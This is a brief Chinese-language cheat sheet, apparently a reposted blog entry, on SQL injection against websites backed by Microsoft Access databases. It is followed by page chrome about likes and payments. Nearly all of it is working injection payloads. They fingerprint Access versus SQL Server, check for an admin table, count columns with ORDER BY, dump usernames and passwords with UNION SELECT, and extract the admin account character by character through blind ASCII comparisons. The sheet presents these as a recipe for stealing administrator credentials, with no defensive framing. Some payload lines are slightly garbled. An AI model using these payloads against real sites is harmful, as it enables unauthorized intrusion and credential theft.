access注入漏洞

and exists(select from msysobjects) >0 判断是否为access数据库
and exists(select
from sysobjects) > 0 判断是否为sql server数据库

and exists(select from admin) 查看是否存在admin表 代表所有,可修改字段名
order by 数值 判断字段长度,正常则证明字段名长度在数值范围内,报错则超出范围
union select 1-正确数值 from 表名 联合查询,查询出两个数值
union select 上面第一个正确数值,第二个正确数值 from 表名 爆出账号密码
and(select len(admin)from admin) = 5 正常说明管理员账户长度为5 <>
and(select top 1 asc(mid(admin,1,1))from admin)>100 猜解管理员账号的第一个数据,通过判

断ascii码判断,返回正常则大于,反之则小于
mid(admin,2,1) 找第二列,依次类推

转载于:https://blog.51cto.com/3945465/2138972

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值